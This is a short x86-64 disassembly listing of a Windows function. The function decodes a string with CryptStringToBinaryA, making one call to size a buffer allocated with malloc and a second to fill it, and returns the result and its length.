mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rax, [rbp - 0xc]
mov qword [rsp + 0x20], rax
mov r9d, 0
mov r8d, 1
mov edx, 0
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
call rax
test eax, eax
jne 0x40267a
mov eax, 0
jmp 0x4026fa
mov eax, dword [rbp - 0xc]
mov eax, eax
mov rcx, rax
call sym.malloc
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x402699
mov eax, 0
jmp 0x4026fa
mov rdx, qword [rbp - 8]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rax, [rbp - 0xc]
mov qword [rsp + 0x20], rax
mov r9, rdx
mov r8d, 1
mov edx, 0
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
call rax
test eax, eax
jne 0x4026ea
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.free
mov eax, 0
jmp 0x4026fa
mov eax, dword [rbp - 0xc]
mov edx, eax
mov rax, qword [rbp + 0x18]
mov qword [rax], rdx
mov rax, qword [rbp - 8]
add rsp, 0x50
pop rbp
ret